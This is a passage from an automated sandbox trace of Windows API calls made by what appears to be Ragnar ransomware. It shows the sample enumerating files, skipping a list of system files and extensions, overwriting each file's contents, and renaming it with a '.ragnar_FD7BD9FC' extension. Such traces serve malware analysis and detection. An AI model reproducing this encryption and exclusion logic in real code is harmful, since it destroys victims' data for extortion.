lpBuffer=0x480000, nNumberOfBytesToRead=0x51a5b, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesRead=0x1e9984*=0x51a5b, lpOverlapped=0x0) returned 1 [0078.071] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0078.073] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x51a5b, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.073] WriteFile (in: hFile=0x108, lpBuffer=0x480000*, nNumberOfBytesToWrite=0x51a5b, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesWritten=0x1e9980*=0x51a5b, lpOverlapped=0x0) returned 1 [0078.074] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x51a5b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.074] VirtualFree (lpAddress=0x480000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.076] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x51a5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.076] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.076] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.076] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.076] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0078.076] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.076] GetProcessHeap () returned 0x580000 [0078.076] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.076] CloseHandle (hObject=0x108) returned 1 [0078.076] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" [0078.076] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.ragnar_FD7BD9FC" [0078.076] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.077] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c57ec0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80c57ec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.077] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x44 [0078.077] lstrcpyW (in: lpString1=0x1ea092, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.077] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.077] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.077] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0078.077] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x44 [0078.077] lstrcpyW (in: lpString1=0x1ea092, lpString2="VBCN6.CHM" | out: lpString1="VBCN6.CHM") returned="VBCN6.CHM" [0078.077] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned=".CHM" [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="autorun.inf") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="boot.ini") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="bootfont.bin") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="bootsect.bak") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="bootmgr") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="bootmgr.efi") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="bootmgfw.efi") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="desktop.ini") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="iconcache.db") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="ntldr") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="ntuser.dat") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="ntuser.dat.log") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="ntuser.ini") returned 1 [0078.077] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="thumbs.db") returned 1 [0078.077] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0078.078] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0078.078] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0078.078] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0078.078] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0078.078] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0078.078] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0078.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0078.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0078.078] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=109718) returned 1 [0078.078] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1ac8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.078] GetProcessHeap () returned 0x580000 [0078.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.078] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0078.080] VirtualAlloc (lpAddress=0x0, dwSize=0x1ac96, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.080] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.080] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0078.080] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ac96, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x1ac96, lpOverlapped=0x0) returned 1 [0078.090] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0078.090] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ac96, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.090] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ac96, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x1ac96, lpOverlapped=0x0) returned 1 [0078.091] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ac96, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.091] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.091] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1ac96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.091] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.091] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.092] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.092] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0078.092] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.092] GetProcessHeap () returned 0x580000 [0078.092] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.092] CloseHandle (hObject=0x108) returned 1 [0078.092] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" [0078.092] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.ragnar_FD7BD9FC" [0078.092] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0078.092] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x44 [0078.092] lstrcpyW (in: lpString1=0x1ea092, lpString2="VBE7INTL.DLL" | out: lpString1="VBE7INTL.DLL") returned="VBE7INTL.DLL" [0078.092] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned=".DLL" [0078.092] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.092] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="autorun.inf") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="boot.ini") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="bootfont.bin") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="bootsect.bak") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="bootmgr") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="bootmgr.efi") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="bootmgfw.efi") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="desktop.ini") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="iconcache.db") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="ntldr") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="ntuser.dat") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="ntuser.dat.log") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="ntuser.ini") returned 1 [0078.093] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="thumbs.db") returned 1 [0078.093] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0078.093] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0078.093] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0078.093] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0078.093] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x44 [0078.093] lstrcpyW (in: lpString1=0x1ea092, lpString2="VBENDF98.CHM" | out: lpString1="VBENDF98.CHM") returned="VBENDF98.CHM" [0078.093] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned=".CHM" [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="autorun.inf") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="boot.ini") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="bootfont.bin") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="bootsect.bak") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="bootmgr") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="bootmgr.efi") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="bootmgfw.efi") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="desktop.ini") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="iconcache.db") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="ntldr") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="ntuser.dat") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="ntuser.dat.log") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="ntuser.ini") returned 1 [0078.093] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="thumbs.db") returned 1 [0078.093] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0078.094] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0078.094] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0078.094] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0078.094] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0078.094] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0078.094] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0078.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0078.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0078.118] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=72031) returned 1 [0078.118] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x11956, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.118] GetProcessHeap () returned 0x580000 [0078.118] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.118] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0078.120] VirtualAlloc (lpAddress=0x0, dwSize=0x1195f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.120] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.120] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0078.120] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1195f, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x1195f, lpOverlapped=0x0) returned 1 [0078.122] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0078.122] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1195f, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.123] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1195f, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x1195f, lpOverlapped=0x0) returned 1 [0078.123] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1195f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.123] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.123] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1195f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.123] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.123] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.124] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.124] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0078.124] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.124] GetProcessHeap () returned 0x580000 [0078.124] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.124] CloseHandle (hObject=0x108) returned 1 [0078.125] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" [0078.125] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.ragnar_FD7BD9FC" [0078.125] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.125] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0078.125] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x44 [0078.125] lstrcpyW (in: 